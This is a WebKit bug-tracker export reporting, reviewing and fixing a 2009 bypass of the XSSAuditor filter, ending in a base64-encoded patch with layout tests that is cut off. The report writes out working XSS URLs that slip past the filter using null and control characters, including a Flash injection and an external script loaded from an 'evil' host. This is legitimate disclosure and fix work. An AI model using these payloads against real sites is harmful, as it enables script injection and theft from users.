<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE bugzilla SYSTEM "https://bugs.webkit.org/page.cgi?id=bugzilla.dtd">

<bugzilla version="5.0.4.1"
          urlbase="https://bugs.webkit.org/"
          
          maintainer="admin@webkit.org"
>

    <bug>
          <bug_id>27151</bug_id>
          
          <creation_ts>2009-07-10 11:16:17 -0700</creation_ts>
          <short_desc>[XSSAuditor] JavaScript URLs with null/control characters bypass XSSAuditor</short_desc>
          <delta_ts>2009-07-10 18:32:05 -0700</delta_ts>
          <reporter_accessible>1</reporter_accessible>
          <cclist_accessible>1</cclist_accessible>
          <classification_id>1</classification_id>
          <classification>Unclassified</classification>
          <product>WebKit</product>
          <component>WebCore Misc.</component>
          <version>528+ (Nightly build)</version>
          <rep_platform>All</rep_platform>
          <op_sys>All</op_sys>
          <bug_status>RESOLVED</bug_status>
          <resolution>FIXED</resolution>
          
          
          <bug_file_loc></bug_file_loc>
          <status_whiteboard></status_whiteboard>
          <keywords></keywords>
          <priority>P2</priority>
          <bug_severity>Normal</bug_severity>
          <target_milestone>---</target_milestone>
          
          
          <everconfirmed>0</everconfirmed>
          <reporter name="Daniel Bates">dbates</reporter>
          <assigned_to name="Nobody">webkit-unassigned</assigned_to>
          <cc>abarth</cc>
    
    <cc>dbates</cc>
    
    <cc>sam</cc>
          

      

      

      

          <comment_sort_order>oldest_to_newest</comment_sort_order>  
          <long_desc isprivate="0" >
    <commentid>130894</commentid>
    <comment_count>0</comment_count>
    <who name="Daniel Bates">dbates</who>
    <bug_when>2009-07-10 11:16:17 -0700</bug_when>
    <thetext>Null/control characters in HTTP GET/POST data can bypass XSSAuditor with respect to JavaScript URLs.

Examples:

JavaScript URL with Null Character:
http://good.webblaze.org/dbates/xsstest.php?q=%3Ca+href%3Djavascript%3Aal%00ert%28/XSS/%29%3EContinue%3C/a%3E

JavaScript URL with Control Character:
http://good.webblaze.org/dbates/xsstest.php?q=%3Ca+href%3Djavascript%3Aalert%28/XSS%05/%29%3EContinue%3C/a%3E

+++ This bug was initially created as a clone of Bug #27071 +++

Null/control characters in HTTP GET/POST data can bypass XSSAuditor with respect to injected plugin-based objects, inline event handlers, and external scripts.

Examples:

Plugin-Injection:
http://good.webblaze.org/dbates/xsstest.php?q=%3Cobject%20classid=%22clsid:d27cdb6e-ae6d-11cf-96b8-444553540000%22%20codebase=%22http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab%22%20id=%22flashMov%22%3E%3Cparam%20name=%22movie%22%20value=%22http://evil.webblaze.org/dbates/execGetURL%05.swf%22%20/%3E%3Cparam%20name=%22allowScriptAccess%22%20value=%22always%22%20/%3E%3Cembed%20src=%22http://evil.webblaze.org/dbates/execGetURL%05.swf%22%20name=%22flashMov%22%20allowScriptAccess=%22always%22%20type=%22application/x-shockwave-flash%22%20/%3E%3C/object%3E

Inline Event Handler:
http://good.webblaze.org/dbates/xsstest.php?q=%3Ca%20href=%22about:blank%22%20onclick=%22al%00ert(5)%22%3Ed%3C/a%3E

External Scripts:
http://good.webblaze.org/dbates/xsstest.php?q=&lt;script src=&apos;http://evil.webblaze.org/dbates/xss.js&apos;&gt;&lt;/script&gt;</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>130897</commentid>
    <comment_count>1</comment_count>
      <attachid>32565</attachid>
    <who name="Daniel Bates">dbates</who>
    <bug_when>2009-07-10 11:20:23 -0700</bug_when>
    <thetext>Created attachment 32565
Patch with tests</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>130926</commentid>
    <comment_count>2</comment_count>
      <attachid>32565</attachid>
    <who name="Adam Barth">abarth</who>
    <bug_when>2009-07-10 13:16:57 -0700</bug_when>
    <thetext>Comment on attachment 32565
Patch with tests

This looks good, but can you make the same change to the V8 bindings in WebCore/bindings/v8?</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>130936</commentid>
    <comment_count>3</comment_count>
      <attachid>32573</attachid>
    <who name="Daniel Bates">dbates</who>
    <bug_when>2009-07-10 13:35:23 -0700</bug_when>
    <thetext>Created attachment 32573
Updated patch with tests.

I made the changes in the V8 bindings, but how do I test it?

Also, moved line &quot;const String* savedSourceURL = m_sourceURL;&quot; to its original place in file WebCore/bindings/js/ScriptController.cpp.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>130940</commentid>
    <comment_count>4</comment_count>
      <attachid>32573</attachid>
    <who name="Adam Barth">abarth</who>
    <bug_when>2009-07-10 13:39:27 -0700</bug_when>
    <thetext>Comment on attachment 32573
Updated patch with tests.

This looks good.  To test the V8 bindings, you need a Chromium build.  I&apos;ll watch the chromium build bot to make sure it works fine.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>130943</commentid>
    <comment_count>5</comment_count>
    <who name="Daniel Bates">dbates</who>
    <bug_when>2009-07-10 13:41:16 -0700</bug_when>
    <thetext>Thanks.

(In reply to comment #4)
&gt; (From update of attachment 32573 [details])
&gt; This looks good.  To test the V8 bindings, you need a Chromium build.  I&apos;ll
&gt; watch the chromium build bot to make sure it works fine.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>131040</commentid>
    <comment_count>6</comment_count>
    <who name="Adam Barth">abarth</who>
    <bug_when>2009-07-10 18:32:05 -0700</bug_when>
    <thetext>Sending        LayoutTests/ChangeLog
Adding         LayoutTests/http/tests/security/xssAuditor/javascript-link-control-char-expected.txt
Adding         LayoutTests/http/tests/security/xssAuditor/javascript-link-control-char.html
Adding         LayoutTests/http/tests/security/xssAuditor/javascript-link-expected.txt
Adding         LayoutTests/http/tests/security/xssAuditor/javascript-link-null-char-expected.txt
Adding         LayoutTests/http/tests/security/xssAuditor/javascript-link-null-char.html
Adding         LayoutTests/http/tests/security/xssAuditor/javascript-link.html
Adding         LayoutTests/http/tests/security/xssAuditor/resources/echo-intertag-click-and-notify.pl
Sending        WebCore/ChangeLog
Sending        WebCore/bindings/js/ScriptController.cpp
Sending        WebCore/bindings/v8/ScriptController.cpp
Sending        WebCore/page/XSSAuditor.cpp
Sending        WebCore/page/XSSAuditor.h
Transmitting file data .............
Committed revision 45741.
http://trac.webkit.org/changeset/45741</thetext>
  </long_desc>
      
          <attachment
              isobsolete="1"
              ispatch="1"
              isprivate="0"
          >
            <attachid>32565</attachid>
            <date>2009-07-10 11:20:23 -0700</date>
            <delta_ts>2009-07-10 13:35:23 -0700</delta_ts>
            <desc>Patch with tests</desc>
            <filename>Bug27151_1.patch</filename>
            <type>text/plain</type>
            <size>10996</size>
            <attacher name="Daniel Bates">dbates</attacher>
            
              <data encoding="base64">SW5kZXg6IFdlYkNvcmUvQ2hhbmdlTG9nCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIFdlYkNvcmUvQ2hhbmdlTG9n
CShyZXZpc2lvbiA0NTcxMykKKysrIFdlYkNvcmUvQ2hhbmdlTG9nCSh3b3JraW5nIGNvcHkpCkBA
IC0xLDMgKzEsMjQgQEAKKzIwMDktMDctMTAgIERhbmllbCBCYXRlcyAgPGRiYXRlc0BpbnR1ZGF0
YS5jb20+CisKKyAgICAgICAgUmV2aWV3ZWQgYnkgTk9CT0RZIChPT1BTISkuCisKKyAgICAgICAg
aHR0cHM6Ly9idWdzLndlYmtpdC5vcmcvc2hvd19idWcuY2dpP2lkPTI3MTUxCisgICAgICAgIAor
ICAgICAgICBGaXhlcyBpc3N1ZSB3aGVyZSBKYXZhU2NyaXB0IFVSTHMgdGhhdCBjb250YWluIG51
bGwtIGFuZCBub24tbnVsbCBjb250cm9sIGNoYXJhY3RlcnMgY2FuCisgICAgICAgIGJ5cGFzcyBY
U1NBdWRpdG9yLgorICAgICAgICAKKyAgICAgICAgVGVzdHM6IGh0dHAvdGVzdHMvc2VjdXJpdHkv
eHNzQXVkaXRvci9qYXZhc2NyaXB0LWxpbmstY29udHJvbC1jaGFyLmh0bWwKKyAgICAgICAgICAg
ICAgIGh0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9qYXZhc2NyaXB0LWxpbmstbnVsbC1j
aGFyLmh0bWwKKyAgICAgICAgICAgICAgIGh0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9q
YXZhc2NyaXB0LWxpbmsuaHRtbAorCisgICAgICAgICogYmluZGluZ3MvanMvU2NyaXB0Q29udHJv
bGxlci5jcHA6CisgICAgICAgIChXZWJDb3JlOjpTY3JpcHRDb250cm9sbGVyOjpldmFsdWF0ZSk6
IFNlcGFyYXRlZCBvdXQgbG9naWMgZm9yIEphdmFTY3JpcHQgVVJMcyBmcm9tIAorICAgICAgICBp
bmxpbmUgc2NyaXB0cy4gRm9yIEphdmFTY3JpcHQgVVJMcywgY2FsbHMgWFNTQXVkaXRvcjo6Y2Fu
RXZhbHVhdGVKYXZhU2NyaXB0VVJMLgorICAgICAgICAqIHBhZ2UvWFNTQXVkaXRvci5jcHA6Cisg
ICAgICAgIChXZWJDb3JlOjpYU1NBdWRpdG9yOjpjYW5FdmFsdWF0ZUphdmFTY3JpcHRVUkwpOiBT
ZXBhcmF0ZWQgb3V0IGxvZ2ljIGZvciBKYXZhU2NyaXB0IFVSTHMKKyAgICAgICAgaW50byBpdHMg
b3duIG1ldGhvZC4KKyAgICAgICAgKiBwYWdlL1hTU0F1ZGl0b3IuaDoKKwogMjAwOS0wNy0xMCAg
RGFuIEJlcm5zdGVpbiAgPG1pdHpAYXBwbGUuY29tPgogCiAgICAgICAgIC0gZml4IHRoZSBidWls
ZCBieSByZXZlcnRpbmcgdGhlIGlsbC1hZHZpc2VkIHI0NTcxMQpJbmRleDogV2ViQ29yZS9iaW5k
aW5ncy9qcy9TY3JpcHRDb250cm9sbGVyLmNwcAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBXZWJDb3JlL2JpbmRp
bmdzL2pzL1NjcmlwdENvbnRyb2xsZXIuY3BwCShyZXZpc2lvbiA0NTM0MikKKysrIFdlYkNvcmUv
YmluZGluZ3MvanMvU2NyaXB0Q29udHJvbGxlci5jcHAJKHdvcmtpbmcgY29weSkKQEAgLTgxLDcg
KzgxLDE2IEBAIFNjcmlwdENvbnRyb2xsZXI6On5TY3JpcHRDb250cm9sbGVyKCkKIAogU2NyaXB0
VmFsdWUgU2NyaXB0Q29udHJvbGxlcjo6ZXZhbHVhdGUoY29uc3QgU2NyaXB0U291cmNlQ29kZSYg
c291cmNlQ29kZSkgCiB7Ci0gICAgaWYgKCFtX1hTU0F1ZGl0b3ItPmNhbkV2YWx1YXRlKHNvdXJj
ZUNvZGUuc291cmNlKCkpKSB7CisgICAgY29uc3QgU291cmNlQ29kZSYganNTb3VyY2VDb2RlID0g
c291cmNlQ29kZS5qc1NvdXJjZUNvZGUoKTsKKyAgICBjb25zdCBTdHJpbmcqIHNhdmVkU291cmNl
VVJMID0gbV9zb3VyY2VVUkw7CisgICAgU3RyaW5nIHNvdXJjZVVSTCA9IGpzU291cmNlQ29kZS5w
cm92aWRlcigpLT51cmwoKTsKKyAgICAKKyAgICBpZiAoc291cmNlVVJMLmlzTnVsbCgpICYmICFt
X1hTU0F1ZGl0b3ItPmNhbkV2YWx1YXRlSmF2YVNjcmlwdFVSTChzb3VyY2VDb2RlLnNvdXJjZSgp
KSkgeworICAgICAgICAvLyBUaGlzIEphdmFTY3JpcHQgVVJMIGlzIG5vdCBzYWZlIHRvIGJlIGV2
YWx1YXRlZC4KKyAgICAgICAgcmV0dXJuIEpTVmFsdWUoKTsKKyAgICB9CisgICAgCisgICAgaWYg
KCFzb3VyY2VVUkwuaXNOdWxsKCkgJiYgIW1fWFNTQXVkaXRvci0+Y2FuRXZhbHVhdGUoc291cmNl
Q29kZS5zb3VyY2UoKSkpIHsKICAgICAgICAgLy8gVGhpcyBzY3JpcHQgaXMgbm90IHNhZmUgdG8g
YmUgZXZhbHVhdGVkLgogICAgICAgICByZXR1cm4gSlNWYWx1ZSgpOwogICAgIH0KQEAgLTg5LDE2
ICs5OCwxMiBAQCBTY3JpcHRWYWx1ZSBTY3JpcHRDb250cm9sbGVyOjpldmFsdWF0ZShjCiAgICAg
Ly8gZXZhbHVhdGUgY29kZS4gUmV0dXJucyB0aGUgSlMgcmV0dXJuIHZhbHVlIG9yIDAKICAgICAv
LyBpZiB0aGVyZSB3YXMgbm9uZSwgYW4gZXJyb3Igb2NjdXJlZCBvciB0aGUgdHlwZSBjb3VsZG4n
dCBiZSBjb252ZXJ0ZWQuCiAKLSAgICBjb25zdCBTb3VyY2VDb2RlJiBqc1NvdXJjZUNvZGUgPSBz
b3VyY2VDb2RlLmpzU291cmNlQ29kZSgpOwotCiAgICAgaW5pdFNjcmlwdElmTmVlZGVkKCk7CiAg
ICAgLy8gaW5saW5lQ29kZSBpcyB0cnVlIGZvciA8YSBocmVmPSJqYXZhc2NyaXB0OmRvU29tZXRo
aW5nKCkiPgogICAgIC8vIGFuZCBmYWxzZSBmb3IgPHNjcmlwdD5kb1NvbWV0aGluZygpPC9zY3Jp
cHQ+LiBDaGVjayBpZiBpdCBoYXMgdGhlCiAgICAgLy8gZXhwZWN0ZWQgdmFsdWUgaW4gYWxsIGNh
c2VzLgogICAgIC8vIFNlZSBzbWFydCB3aW5kb3cub3BlbiBwb2xpY3kgZm9yIHdoZXJlIHRoaXMg
aXMgdXNlZC4KICAgICBFeGVjU3RhdGUqIGV4ZWMgPSBtX3dpbmRvd1NoZWxsLT53aW5kb3coKS0+
Z2xvYmFsRXhlYygpOwotICAgIGNvbnN0IFN0cmluZyogc2F2ZWRTb3VyY2VVUkwgPSBtX3NvdXJj
ZVVSTDsKLSAgICBTdHJpbmcgc291cmNlVVJMID0ganNTb3VyY2VDb2RlLnByb3ZpZGVyKCktPnVy
bCgpOwogICAgIG1fc291cmNlVVJMID0gJnNvdXJjZVVSTDsKIAogICAgIEpTTG9jayBsb2NrKGZh
bHNlKTsKSW5kZXg6IFdlYkNvcmUvcGFnZS9YU1NBdWRpdG9yLmNwcAo9PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBX
ZWJDb3JlL3BhZ2UvWFNTQXVkaXRvci5jcHAJKHJldmlzaW9uIDQ1NjgyKQorKysgV2ViQ29yZS9w
YWdlL1hTU0F1ZGl0b3IuY3BwCSh3b3JraW5nIGNvcHkpCkBAIC03Nyw2ICs3NywxOSBAQCBib29s
IFhTU0F1ZGl0b3I6OmNhbkV2YWx1YXRlKGNvbnN0IFN0cmluCiAgICAgcmV0dXJuIHRydWU7CiB9
CiAKK2Jvb2wgWFNTQXVkaXRvcjo6Y2FuRXZhbHVhdGVKYXZhU2NyaXB0VVJMKGNvbnN0IFN0cmlu
ZyYgY29kZSkgY29uc3QKK3sKKyAgICBpZiAoIWlzRW5hYmxlZCgpKQorICAgICAgICByZXR1cm4g
dHJ1ZTsKKworICAgIGlmIChmaW5kSW5SZXF1ZXN0KGNvZGUsIGZhbHNlLCBmYWxzZSkpIHsKKyAg
ICAgICAgREVGSU5FX1NUQVRJQ19MT0NBTChTdHJpbmcsIGNvbnNvbGVNZXNzYWdlLCAoIlJlZnVz
ZWQgdG8gZXhlY3V0ZSBhIEphdmFTY3JpcHQgc2NyaXB0LiBTb3VyY2UgY29kZSBvZiBzY3JpcHQg
Zm91bmQgd2l0aGluIHJlcXVlc3QuXG4iKSk7CisgICAgICAgIG1fZnJhbWUtPmRvbVdpbmRvdygp
LT5jb25zb2xlKCktPmFkZE1lc3NhZ2UoSlNNZXNzYWdlU291cmNlLCBFcnJvck1lc3NhZ2VMZXZl
bCwgY29uc29sZU1lc3NhZ2UsIDEsIFN0cmluZygpKTsKKyAgICAgICAgcmV0dXJuIGZhbHNlOwor
ICAgIH0KKyAgICByZXR1cm4gdHJ1ZTsKK30KKwogYm9vbCBYU1NBdWRpdG9yOjpjYW5DcmVhdGVJ
bmxpbmVFdmVudExpc3RlbmVyKGNvbnN0IFN0cmluZyYsIGNvbnN0IFN0cmluZyYgY29kZSkgY29u
c3QKIHsKICAgICBpZiAoIWlzRW5hYmxlZCgpKQpJbmRleDogV2ViQ29yZS9wYWdlL1hTU0F1ZGl0
b3IuaAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09Ci0tLSBXZWJDb3JlL3BhZ2UvWFNTQXVkaXRvci5oCShyZXZpc2lvbiA0
NTY4MikKKysrIFdlYkNvcmUvcGFnZS9YU1NBdWRpdG9yLmgJKHdvcmtpbmcgY29weSkKQEAgLTc0
LDYgKzc0LDEwIEBAIG5hbWVzcGFjZSBXZWJDb3JlIHsKICAgICAgICAgLy8gYmFzZWQgb24gdGhl
IGNvbnRlbnQgb2YgYW55IHVzZXItc3VibWl0dGVkIGRhdGEuCiAgICAgICAgIGJvb2wgY2FuRXZh
bHVhdGUoY29uc3QgU3RyaW5nJiBzb3VyY2VDb2RlKSBjb25zdDsKIAorICAgICAgICAvLyBEZXRl
cm1pbmVzIHdoZXRoZXIgdGhlIEphdmFTY3JpcHQgVVJMIHNob3VsZCBiZSBhbGxvd2VkIG9yIGRl
bmllZCBleGVjdXRpb24KKyAgICAgICAgLy8gYmFzZWQgb24gdGhlIGNvbnRlbnQgb2YgYW55IHVz
ZXItc3VibWl0dGVkIGRhdGEuCisgICAgICAgIGJvb2wgY2FuRXZhbHVhdGVKYXZhU2NyaXB0VVJM
KGNvbnN0IFN0cmluZyYgY29kZSkgY29uc3Q7CisKICAgICAgICAgLy8gRGV0ZXJtaW5lcyB3aGV0
aGVyIHRoZSBldmVudCBsaXN0ZW5lciBzaG91bGQgYmUgY3JlYXRlZCBiYXNlZCBvbiB0aGUKICAg
ICAgICAgLy8gY29udGVudCBvZiBhbnkgdXNlci1zdWJtaXR0ZWQgZGF0YS4KICAgICAgICAgYm9v
bCBjYW5DcmVhdGVJbmxpbmVFdmVudExpc3RlbmVyKGNvbnN0IFN0cmluZyYgZnVuY3Rpb25OYW1l
LCBjb25zdCBTdHJpbmcmIGNvZGUpIGNvbnN0OwpJbmRleDogTGF5b3V0VGVzdHMvQ2hhbmdlTG9n
Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT0KLS0tIExheW91dFRlc3RzL0NoYW5nZUxvZwkocmV2aXNpb24gNDU3MTMpCisr
KyBMYXlvdXRUZXN0cy9DaGFuZ2VMb2cJKHdvcmtpbmcgY29weSkKQEAgLTEsMyArMSwxOSBAQAor
MjAwOS0wNy0xMCAgRGFuaWVsIEJhdGVzICA8ZGJhdGVzQGludHVkYXRhLmNvbT4KKworICAgICAg
ICBSZXZpZXdlZCBieSBOT0JPRFkgKE9PUFMhKS4KKyAgICAgICAgCisgICAgICAgIGh0dHBzOi8v
YnVncy53ZWJraXQub3JnL3Nob3dfYnVnLmNnaT9pZD0yNzE1MQorCisgICAgICAgIFRlc3RzIHBy
ZXZlbnRpb24gb2YgSmF2YVNjcmlwdCBVUkxTIHRoYXQgY29udGFpbiBudWxsLSBhbmQgbm9uLW51
bGwgY29udHJvbCBjaGFyYWN0ZXJzLgorICAgICAgICAKKyAgICAgICAgKiBodHRwL3Rlc3RzL3Nl
Y3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLWNvbnRyb2wtY2hhci1leHBlY3RlZC50
eHQ6IEFkZGVkLgorICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9qYXZh
c2NyaXB0LWxpbmstY29udHJvbC1jaGFyLmh0bWw6IEFkZGVkLgorICAgICAgICAqIGh0dHAvdGVz
dHMvc2VjdXJpdHkveHNzQXVkaXRvci9qYXZhc2NyaXB0LWxpbmstZXhwZWN0ZWQudHh0OiBBZGRl
ZC4KKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1s
aW5rLW51bGwtY2hhci1leHBlY3RlZC50eHQ6IEFkZGVkLgorICAgICAgICAqIGh0dHAvdGVzdHMv
c2VjdXJpdHkveHNzQXVkaXRvci9qYXZhc2NyaXB0LWxpbmstbnVsbC1jaGFyLmh0bWw6IEFkZGVk
LgorICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9qYXZhc2NyaXB0LWxp
bmsuaHRtbDogQWRkZWQuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9y
L3Jlc291cmNlcy9lY2hvLWludGVydGFnLWNsaWNrLWFuZC1ub3RpZnkucGw6IEFkZGVkLgorCiAy
MDA5LTA3LTEwICBEYW4gQmVybnN0ZWluICA8bWl0ekBhcHBsZS5jb20+CiAKICAgICAgICAgUmV2
aWV3ZWQgYnkgU2ltb24gRnJhc2VyLgpJbmRleDogTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1
cml0eS94c3NBdWRpdG9yL2phdmFzY3JpcHQtbGluay1jb250cm9sLWNoYXItZXhwZWN0ZWQudHh0
Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT0KLS0tIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRv
ci9qYXZhc2NyaXB0LWxpbmstY29udHJvbC1jaGFyLWV4cGVjdGVkLnR4dAkocmV2aXNpb24gMCkK
KysrIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9qYXZhc2NyaXB0
LWxpbmstY29udHJvbC1jaGFyLWV4cGVjdGVkLnR4dAkocmV2aXNpb24gMCkKQEAgLTAsMCArMSwz
IEBACitDT05TT0xFIE1FU1NBR0U6IGxpbmUgMTogUmVmdXNlZCB0byBleGVjdXRlIGEgSmF2YVNj
cmlwdCBzY3JpcHQuIFNvdXJjZSBjb2RlIG9mIHNjcmlwdCBmb3VuZCB3aXRoaW4gcmVxdWVzdC4K
KworCkluZGV4OiBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2
YXNjcmlwdC1saW5rLWNvbnRyb2wtY2hhci5odG1sCj09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIExheW91dFRlc3Rz
L2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9qYXZhc2NyaXB0LWxpbmstY29udHJvbC1j
aGFyLmh0bWwJKHJldmlzaW9uIDApCisrKyBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5
L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLWNvbnRyb2wtY2hhci5odG1sCShyZXZpc2lvbiAw
KQpAQCAtMCwwICsxLDE2IEBACis8IURPQ1RZUEUgaHRtbD4KKzxodG1sPgorPGhlYWQ+Cis8c2Ny
aXB0PgoraWYgKHdpbmRvdy5sYXlvdXRUZXN0Q29udHJvbGxlcikgeworICAgIGxheW91dFRlc3RD
b250cm9sbGVyLmR1bXBBc1RleHQoKTsKKyAgICBsYXlvdXRUZXN0Q29udHJvbGxlci53YWl0VW50
aWxEb25lKCk7CisgICAgbGF5b3V0VGVzdENvbnRyb2xsZXIuc2V0WFNTQXVkaXRvckVuYWJsZWQo
dHJ1ZSk7Cit9Cis8L3NjcmlwdD4KKzwvaGVhZD4KKzxib2R5PgorPGlmcmFtZSBzcmM9J2h0dHA6
Ly9sb2NhbGhvc3Q6ODAwMC9zZWN1cml0eS94c3NBdWRpdG9yL3Jlc291cmNlcy9lY2hvLWludGVy
dGFnLWNsaWNrLWFuZC1ub3RpZnkucGw/ZWxtaWQ9YW5jaG9yTGluayZxPSUzQ2EraWQlM0RhbmNo
b3JMaW5rK2hyZWYlM0RqYXZhc2NyaXB0JTNBYWxlcnQlMjgvWFNTJTA1LyUyOSUzRXRlc3QlM0Mv
YSUzRSc+Cis8L2lmcmFtZT4KKzwvYm9keT4KKzwvaHRtbD4KSW5kZXg6IExheW91dFRlc3RzL2h0
dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9qYXZhc2NyaXB0LWxpbmstZXhwZWN0ZWQudHh0
Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT0KLS0tIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRv
ci9qYXZhc2NyaXB0LWxpbmstZXhwZWN0ZWQudHh0CShyZXZpc2lvbiAwKQorKysgTGF5b3V0VGVz
dHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2phdmFzY3JpcHQtbGluay1leHBlY3Rl
ZC50eHQJKHJldmlzaW9uIDApCkBAIC0wLDAgKzEsMyBAQAorQ09OU09MRSBNRVNTQUdFOiBsaW5l
IDE6IFJlZnVzZWQgdG8gZXhlY3V0ZSBhIEphdmFTY3JpcHQgc2NyaXB0LiBTb3VyY2UgY29kZSBv
ZiBzY3JpcHQgZm91bmQgd2l0aGluIHJlcXVlc3QuCisKKwpJbmRleDogTGF5b3V0VGVzdHMvaHR0
cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2phdmFzY3JpcHQtbGluay1udWxsLWNoYXItZXhw
ZWN0ZWQudHh0Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT0KLS0tIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkv
eHNzQXVkaXRvci9qYXZhc2NyaXB0LWxpbmstbnVsbC1jaGFyLWV4cGVjdGVkLnR4dAkocmV2aXNp
b24gMCkKKysrIExheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9qYXZh
c2NyaXB0LWxpbmstbnVsbC1jaGFyLWV4cGVjdGVkLnR4dAkocmV2aXNpb24gMCkKQEAgLTAsMCAr
MSwzIEBACitDT05TT0xFIE1FU1NBR0U6IGxpbmUgMTogUmVmdXNlZCB0byBleGVjdXRlIGEgSmF2
YVNjcmlwdCBzY3JpcHQuIFNvdXJjZSBjb2RlIG9mIHNjcmlwdCBmb3VuZCB3aXRoaW4gcmVxdWVz
dC4KKworCkluZGV4OiBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Iv
amF2YXNjcmlwdC1saW5rLW51bGwtY2hhci5odG1sCj09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIExheW91dFRlc3Rz
L2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9qYXZhc2NyaXB0LWxpbmstbnVsbC1jaGFy
Lmh0bWwJKHJldmlzaW9uIDApCisrKyBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hz
c0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLW51bGwtY2hhci5odG1sCShyZXZpc2lvbiAwKQpAQCAt
MCwwICsxLDE2IEBACis8IURPQ1RZUEUgaHRtbD4KKzxodG1sPgorPGhlYWQ+Cis8c2NyaXB0Pgor
aWYgKHdpbmRvdy5sYXlvdXRUZXN0Q29udHJvbGxlcikgeworICAgIGxheW91dFRlc3RDb250cm9s
bGVyLmR1bXBBc1RleHQoKTsKKyAgICBsYXlvdXRUZXN0Q29udHJvbGxlci53YWl0VW50aWxEb25l
KCk7CisgICAgbGF5b3V0VGVzdENvbnRyb2xsZXIuc2V0WFNTQXVkaXRvckVuYWJsZWQodHJ1ZSk7
Cit9Cis8L3NjcmlwdD4KKzwvaGVhZD4KKzxib2R5PgorPGlmcmFtZSBzcmM9J2h0dHA6Ly9sb2Nh
bGhvc3Q6ODAwMC9zZWN1cml0eS94c3NBdWRpdG9yL3Jlc291cmNlcy9lY2hvLWludGVydGFnLWNs
aWNrLWFuZC1ub3RpZnkucGw/ZWxtaWQ9YW5jaG9yTGluayZxPSUzQ2EraWQlM0RhbmNob3JMaW5r
K2hyZWYlM0RqYXZhc2NyaXB0JTNBYWwlMDBlcnQlMjgvWFNTLyUyOSUzRXRlc3QlM0MvYSUzRSc+
Cis8L2lmcmFtZT4KKzwvYm9keT4KKzwvaHRtbD4KSW5kZXg6IExheW91dFRlc3RzL2h0dHAvdGVz
dHMvc2VjdXJpdHkveHNzQXVkaXRvci9qYXZhc2NyaXB0LWxpbmsuaHRtbAo9PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0t
LSBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1s
aW5rLmh0bWwJKHJldmlzaW9uIDApCisrKyBMYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5
L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLmh0bWwJKHJldmlzaW9uIDApCkBAIC0wLDAgKzEs
MTYgQEAKKzwhRE9DVFlQRSBodG1sPgorPGh0bWw+Cis8aGVhZD4KKzxzY3JpcHQ+CitpZiAod2lu
